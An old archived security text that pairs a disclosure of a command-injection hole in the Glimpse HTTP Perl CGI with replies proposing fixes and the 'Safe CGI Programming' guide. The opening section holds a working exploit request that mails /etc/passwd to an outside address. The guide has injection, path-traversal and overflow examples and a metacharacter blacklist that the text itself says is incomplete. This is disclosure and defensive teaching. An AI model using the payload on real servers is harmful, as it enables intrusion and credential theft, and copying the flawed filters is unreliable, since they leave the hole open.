home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / glimpse_http.txt < prev    next >
Text File  |  2001-11-06  |  17KB  |  472 lines

  1.  
  2. I'm back with another vulnerability, this time in a small utility: Glimpse
  3. HTTP which is an interface to the Glimpse search tool. It is written in
  4. PERL.
  5.  
  6. First my congratulations to the authors. They've done a really great job
  7. in securing the program (really, I mean it). The hole I exploited is a
  8. small one but it can allow you to execute any command on the remote
  9. system (as the owner of the http server).
  10.  
  11. Allow me to quote from the source (I'm sure I have the latest version, I
  12. downloaded it 1 hour ago :) ).
  13.  
  14. --begin--
  15.  
  16. $path_info = $ENV{'PATH_INFO'};
  17. $_ = $path_info;
  18.  
  19. # /<length>/$indexdir/$path is the format of the PATH_INFO
  20.  
  21. # might as well start the message now print "Content-type: text/html\n\n";
  22. print "<HTML>\n"; print "<HEAD>\n";
  23.  
  24. if ( m|^/([0-9]*)(.*)$| ) {
  25.         $length = $1;
  26.         $path = $2;
  27.         $path =~ s|"||g;  } else {
  28.         &err_badargs;  }
  29.  
  30. $indexdir = substr($path,0,$length);
  31. $relpath = substr($path,$length,length($path));
  32.  
  33. # print "<br>indexdir=$indexdir<br>relpath=$relpath<br>";
  34.  
  35. open(CONF,"$indexdir/archive.cfg") || &err_conf;
  36.  
  37. --end--
  38.  
  39. As you may see, it  splits PATH_INFO in two fields: $length and
  40. $path and then takes the first $length characters from $path and puts them
  41. in $indexdir (my phrasing is more twisted than my mind :) ).
  42. The last line opens "$indexdir/archive.cfg".
  43.  
  44. Now for the evil part.
  45. By setting $indexdir to a string that begins with '|', the system will
  46. execute whatever it finds after the pipe, giving it as STDIN what you
  47. write to the CONF handle.
  48.  
  49. The bad thing is that most HTTP servers won't let you use TABS or SPACES
  50. in the PATH_INFO (not the case of Netscape servers anyway, but CERN and
  51. Apache will do it). And I don't know how many "one word" commands can
  52. anyone find (and make them do evil).
  53.  
  54. Here's where the famous IFS variable comes handy.
  55. If $indexdir is set to something like
  56. "|IFS=5;CMD=5mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval$CMD;echo"
  57. it will execute the command in CMD using IFS as separator. The one above
  58. sends me your /etc/passwd (so you'd better change something there :) ).
  59. The last "echo" is used to ignore the rest of the string. An of course you
  60. can use any other separator instead of "5".
  61.  
  62. Now for the exploit.
  63.  
  64. telnet target.machine.com 80
  65.  
  66. GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval$CMD;echo
  67. HTTP/1.0
  68.  
  69. Note that the cgi-bin directory could be located somewhere else (for
  70. example in /scripts or /cgi or a special directory just for glimpse...).
  71. Also note that you HAVE to use all those backslahes in the command (perl
  72. wants them there!).
  73.  
  74. I would like (again) to have some feedback from those who have Glimpse
  75. installed on their systems. It should work if the script has not been
  76. modified.
  77.  
  78. I think that would be all.
  79.  
  80. Be good.
  81. Razvan
  82.  
  83.  
  84. =============================================================================
  85.  
  86. As the poster pointed out, the "open(..." line below is the problem.
  87. If we simply look for shell metacharacters and exit if we find any,
  88. the security problem is abated.  Here's the code I used to do this.
  89. Insert this code directly above the open line below.  In fact, the
  90. code goes exactly where I have it placed in this message.
  91.  
  92. if($indexdir =~ tr/;<>*|`&$!#()[]{}:'"//) {
  93.         print "<H1>Evil characters found! Exiting.</H1>";
  94.         exit(1);
  95.   }
  96.  
  97. > open(CONF,"$indexdir/archive.cfg") || &err_conf;
  98. >
  99. > --end--
  100.  
  101. =============================================================================
  102.  
  103.  
  104.  
  105. > As the poster pointed out, the "open(..." line below is the problem.
  106. > If we simply look for shell metacharacters and exit if we find any,
  107. > the security problem is abated.  Here's the code I used to do this.
  108. > Insert this code directly above the open line below.  In fact, the
  109. > code goes exactly where I have it placed in this message.
  110. >
  111. > if($indexdir =~ tr/;<>*|`&$!#()[]{}:'"//) {
  112. >         print "<H1>Evil characters found! Exiting.</H1>";
  113. >         exit(1);
  114. >   }
  115.  
  116.  There is at least one very dangerous shell metacharacter missing in this list.
  117. As said in the tutorial where you found this code fragment, the security
  118. policy should be "that which is not expressly permitted is forbidden". It's
  119. much safer to use the "complement" of a set of allowed chars, for example:
  120.  
  121.         $indexdir =~ tr/a-zA-Z0-9//cd;
  122.  
  123. or
  124.  
  125.         if ($indexdir =~ /[^a-zA-Z0-9]/) {
  126.                 print "<H1>Evil characters found! Exiting.</H1>";
  127.                 die "Warning ",$ENV{REMOTE_HOST},": $indexdir\n";
  128.         }
  129.  
  130. > > open(CONF,"$indexdir/archive.cfg") || &err_conf;
  131. > >
  132. > > --end--
  133. >
  134.  
  135.  
  136. ===========================================================================
  137.  
  138.  
  139. Safe CGI Programming                          Last updated: 1995-09-03
  140. ----------------------------------------------------------------------
  141.  
  142. [Note -- the last update of any thoroughness was indeed 1995-09-03.
  143. However, it turns out people are still using this, so I feel obliged
  144. to at least correct the glaring errors.  See the section on identifying
  145. safe characters with regular expressions for an important update.
  146. Thanks. -- PSP 1997-07-08]
  147.  
  148. Recent exposure of security holes in several widely used CGI packages
  149. indicates that the existing documents on CGI security have not taken
  150. hold in the public consciousness.  These scripts are being redistributed
  151. to people that have no programming experience and no way to determine
  152. whether they are opening up their servers for attack.  This causes
  153. considerable frustration for all involved.
  154.  
  155. This document is intended for the beginning or intermediate
  156. CGI programmer.  It is by no means a comprehensive analysis of
  157. the security risks -- its purpose is to help people avoid the
  158. most common errors.  This document and other CGI security resources
  159. are available at
  160.  
  161. <URL:http://www.go2net.com/people/paulp/cgi-security/>
  162.  
  163. Please send comments on this document to Paul Phillips <paulp@go2net.com>
  164.  
  165. Q: "Why should I care? The server runs as nobody, right? That means
  166. you can't do anything dangerous, even if you break a CGI script."
  167.  
  168. A: Wrong.  Some of the actions that can be taken in various 
  169. circumstances are:
  170.  
  171.  1) Mailing the password file to the attacker (unless shadowed)
  172.  2) Mailing a map of the filesystem to the attacker
  173.  3) Mailing system information from /etc to the attacker
  174.  4) Starting a login server on a high port and telneting in
  175.  5) Many denial of service attacks: massive filesytem finds,
  176.  for example, or other resource consuming commands
  177.  6) Erasing and/or altering the server's log files
  178.  
  179. Another problem is that some sites are running their webservers
  180. as root.  I CANNOT EMPHASIZE ENOUGH HOW BAD THIS IS.  You are shooting
  181. yourself in the foot.  Whatever problem inspired you to do this, you
  182. must solve it in some other manner, or you *will* be compromised in
  183. the future.
  184.  
  185. There has been some confusion as to what it means to "run your 
  186. webserver as root." It is fine to *start* the webserver as root.
  187. This is necessary to bind to port 80 on Unix systems.  However,
  188. the webserver should then give away its privileges with a call
  189. to setuid.  The webserver's configuration file should allow you
  190. to specify what user it should run as; the default is normally
  191. "nobody", a generic unprivileged account.  Remember that it is
  192. irrelevant which account owns the binary, and the program should 
  193. not have the setuid bit set.
  194.  
  195. There is a good argument that servers should not actually run as
  196. "nobody", but rather as a specific UID and GID dedicated to the 
  197. webserver, such as "www".  This prevents other programs that run
  198. as "nobody" from interfering with server-owned files.
  199.  
  200. There is a program called "cgiwrap" <URL:http://www.umr.edu/~cgiwrap>
  201. that runs CGI scripts under the UID of the person that owns them.  While
  202. cgiwrap successfully overcomes some problems with CGI scripts, it also
  203. exacerbates the effect of security holes.  If an attacker can execute
  204. commands under the user UID, rm -rf ~ is only a few characters long,
  205. and the user will lose everything.
  206.  
  207.  
  208. Q: "Now I'm scared, maybe my code is buggy.  Can you show me some
  209. examples of security holes?"
  210.  
  211. A: Now you're talking.  The entire philosophy can be summed up as
  212. "Never trust input data." Most security holes are exploited by 
  213. sending data to the script that the author of the script did not
  214. anticipate.  Let's look at some examples.
  215.  
  216. Foo wants people to be able to send him email via the web.  She
  217. has several different email addresses, so she encodes an element
  218. specifying which one so she can easily change it later without 
  219. having to change the script.  (She needs her sysadmin's permission
  220. to install or change CGI scripts -- what a hassle!)
  221.  
  222. <INPUT TYPE="hidden" NAME="FooAddress" VALUE="foo@bar.baz.com">
  223.  
  224. Now she writes a script called "email-foo", and cajoles the sysadmin
  225. into installing it.  A few weeks later, Foo's sysadmin calls her back: 
  226. crackers have broken into the machine via Foo's script! Where did 
  227. Foo go wrong?
  228.  
  229. Let's see Foo's mistake in three different languages.  Foo has
  230. placed the data to be emailed in a tempfile and the FooAddress 
  231. passed by the form into a variable.  
  232.  
  233. Perl:
  234.  
  235.     system("/usr/lib/sendmail -t $foo_address < $input_file");
  236.  
  237. C: 
  238.  
  239.     sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file);
  240.     system(buffer);
  241.  
  242. C++:
  243.     
  244.     system("/usr/lib/sendmail -t " + FooAddress + " < " + InputFile);
  245.  
  246. In all three cases, system is forking a shell.  Foo is unwisely 
  247. assuming that people will only call this script from *her* form, so
  248. the email address will always be one of hers.  But the cracker copied
  249. the form to his own machine, and edited it so it looked like this:
  250.  
  251. <INPUT TYPE="hidden" NAME="FooAddress"
  252. VALUE="foo@bar.baz.com;mail cracker@bad.com </etc/passwd">
  253.  
  254. Then he submitted it to Foo's machine, and the rest is history,
  255. along with the machine.
  256.  
  257.  
  258. Q: "I never use system.  I guess my scripts are all safe then!"
  259.  
  260. A: System is not the only command that forks a shell.  In Perl, 
  261. you can invoke a shell by opening to a pipe, using backticks, or 
  262. calling exec (in some cases.)
  263.  
  264.  * Opening to a pipe: open(OUT, "|program $args");
  265.  * Backticks: `program $args`;
  266.  * Exec: exec("program $args");
  267.  
  268. You can also get in trouble in Perl with the eval statement or
  269. regular expression modifier /e (which calls eval.) That's beyond
  270. the scope of this document, but be careful.
  271.  
  272. In C/C++, the popen(3) call also starts a shell.
  273.  
  274.  * popen("program", "w");
  275.  
  276.  
  277.  
  278. Q: "What's the right way to do it?"
  279.  
  280. A: Generally there are two answers: use the data only where it can't
  281. hurt you, or check it to make sure it is safe.  
  282.  
  283. *1* Avoid the shell.
  284.  
  285.   open(MAIL, "|/usr/lib/sendmail -t");
  286.   print MAIL "To: $recipient\n";
  287.  
  288. Now the untrusted data is no longer being passed to the shell.  However,
  289. it is being passed unchecked to sendmail.  In some sense you are trading
  290. the shell problems for those of the program you are running externally,
  291. so be sure that it cannot be tricked with the untrusted data!  For example
  292. if you use /usr/ucb/mail rather than /usr/lib/sendmail, ~-escapes can be
  293. used (on some versions) to execute commands.  Be wary.
  294.  
  295. You can use the perl system() and exec() calls without invoking a shell
  296. by supplying more than one argument:
  297.  
  298.   system('/usr/games/fortune', '-o');
  299.  
  300. You can also use open() to achieve an effect similar to popen, but
  301. without invoking the shell, by performing
  302.  
  303.   open(FH, '|-') || exec("program", $arg1, $arg2);
  304.  
  305. *2* Avoid insecure data.
  306.  
  307.   unless($recipient =~ /^[\w@\.\-]+$/) {
  308.     # Print out some HTML here indicating failure
  309.     exit(1);
  310.   }
  311.  
  312. This time we're making sure the data is safe for passing to the
  313. shell.  The example regexp above specifies what is safe rather than 
  314. what is unsafe.
  315.  
  316.   if($to =~ tr/;<>*|`&$!#()[]{}:'"//) {
  317.     # Print out some HTML here indicating failure
  318.     exit(1);
  319.   }
  320.  
  321. Or, to escape metacharacters rather than just detecting them, 
  322. a subroutine like this could be used:
  323.  
  324.   sub esc_chars {
  325.   # will change, for example, a!!a to a\!\!a
  326.      @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
  327.      return @_;
  328.   }
  329.  
  330. [UPDATE! As if to highlight the danger inherent in specifying
  331. unsafe characters rather than safe, several oversights in the above
  332. regexp have been pointed out to me.  First, the ^ character (carat)
  333. acts as a pipe under some shells, and should also be escaped.
  334. Second, the \n character (newline) is not listed, which could
  335. delimit shell commands depending on circumstances.  And perhaps
  336. most worrisome, the shell escape character itself \ (backslash)
  337. could be present in external input.  If an input stream of
  338.  
  339.   foo\;bar
  340.  
  341. were run through the substitution above, it would yield 
  342.  
  343.   foo\\;bar
  344.  
  345. once again exposing the ; as a shell metacharacter.  In short,
  346. pay attention to the paragraph below, it's as true now as it ever
  347. was.  Note that I *have not* modified the esc_chars routine in
  348. light of this information, so do not use it as-is.
  349.  
  350. Update Jul 13 1997: the beat goes on.  The regexp also excludes
  351. the ? metacharacter (which is almost as dangerous as *) and ASCII
  352. 255, which is treated as a delimiter by some shells.]
  353.  
  354. These regexps specify what is unsafe.  I believe them to be a complete
  355. list of potentially dangerous metacharacters, but I have no authoritative
  356. source to check.  The difference between the latter two regexps and the
  357. first is the difference between the two security policies "that which is 
  358. not expressly permitted is forbidden" and "that which is not expressly 
  359. forbidden is permitted." All security professionals will tell you that the 
  360. former policy is safer.
  361.  
  362. For maximum security, use both *1* and *2* where possible.
  363.  
  364. USE PERL TAINT CHECKS: Perl can be very helpful with these problems.
  365. Invoke it with perl -T to force taint checks; to learn about taint
  366. checks, see the perl man page.  (The -T option exists only under Perl5.)
  367.  
  368.  
  369. Q: Can I trust user supplied data if there is no shell involved?
  370.  
  371. A: No.  There are other issues as well.  Consider this perl code fragment:
  372.  
  373.   open(MANPAGE, "/usr/man/man1/$filename.1");
  374.  
  375. This is intended to allow HTML access to man pages.  However, what if the
  376. user supplied filename is
  377.  
  378.   ../../../etc/passwd
  379.  
  380. Anytime you are dealing with pathnamess, be sure to check for 
  381. the .. component.
  382.  
  383.  
  384. Q: "What else?"
  385.  
  386. A: In C and C++, improperly allocated memory is vulnerable to 
  387. buffer overruns.  Perl dynamically extends its data structures to 
  388. prevent this.  Imagine code like this:
  389.  
  390. int foo() {
  391.     char buffer[10];
  392.  
  393.     strcpy(buffer, get_form_var("feh"));
  394.     /* etc */
  395. }
  396.  
  397. When writing this code, the author certainly expected the value of
  398. the feh variable to be less than 10 characters.  Unfortunately for
  399. him, he didn't make sure, and it turned out to be much longer.  This
  400. means that user data is overwriting the program stack, which in some
  401. circumstances can be used to invoke commands.
  402.  
  403. This is very difficult to exploit and you probably will not encounter 
  404. it.  Still, it's worth mentioning; a very similar hole was found in
  405. NCSA httpd 1.3 earlier in 1995.  It is poor programming practice not to
  406. check such things anyway.
  407.  
  408. Along the same lines, under no circumstances should the C gets() 
  409. function be used.  It's inherently insecure, as there is no way 
  410. to specify how large the input buffer is.  Use fgets() on the stdin
  411. stream instead.
  412.  
  413. Q: "My WWW server doesn't run on a unix platform.  Only unix has all
  414. these nasty security holes."
  415.  
  416. A: This may or may not be true.  The author of this document has limited
  417. experience with servers on other platforms, but he is more than a little
  418. skeptical that security concerns do not exist.  At the very least, the
  419. gets() and stack-overflow issues are present on Windows and MacOS as well.
  420. Specific examples of other CGI dangers on other platforms are welcomed.
  421.  
  422.  
  423. *Appendix*
  424.  
  425. Contributions to this document welcomed at <paulp@go2net.com>.
  426.  
  427. Thanks to those that have contributed to this document:
  428.  
  429. John Halperin <JXH@SLAC.Stanford.EDU>
  430. Maurice L. Marvin <maurice@cs.pdx.edu>
  431. Dave Andersen <angio@aros.net>
  432. Zygo Blaxell <zblaxell@ezmail.com>
  433. Joe Sparrow <JSPARROW@UVVM.UVIC.CA>
  434. Keith Golden <kgolden@cs.washington.edu>
  435. James W. Abendschan <jwa@jammed.com>
  436. Jennifer Myers <jmyers@marigold.eecs.nwu.edu>
  437. Jarle Fredrik Greipsland <jarle@runit.sintef.no>
  438. David Sacerdote <davids@silence.secnet.com>
  439.  
  440.  
  441.  
  442. ============================================================================
  443.  
  444. All these fixes scanning the pattern are all wonderful,
  445. but it would be much easier just to do a file test on
  446. the requested file name before trying to open it.
  447.  
  448. open (FH,"$dir/archive.cfg") if test -d "$dir" and test -f "$dir/archive.cfg";
  449.  
  450. Also note that the only meta-characters you need to scan for
  451. are the arguments which open() accepts, namely "|" and the variants of ">",
  452. since you don't care (in fact want) read access to the file.
  453. Other meta-characters will be assumed to be inside the filename.
  454. The only time it gets fully parsed by the shell is when you
  455. use the pipe.
  456.  
  457. Finally, all calls to open should specify the file opening mode
  458. by preceding the filename with "<" or something like that.  When
  459. so preceeded, I don't think the piping attack would work, since
  460. the result would be open (FH,"<|command") which doesn't
  461. open a pipe.
  462.  
  463. Also consider using the command sysopen().
  464.  
  465. I had never seen this error since I had long since rewritten
  466. most of GlimpseHTTP for my own purposes and I probably removed that
  467. part because it looked tacky.  In fact now that I think of it I do
  468. remember replacing lots of regular expressions in the original
  469. version with limited sets of permissible characters.
  470.  
  471.  
  472.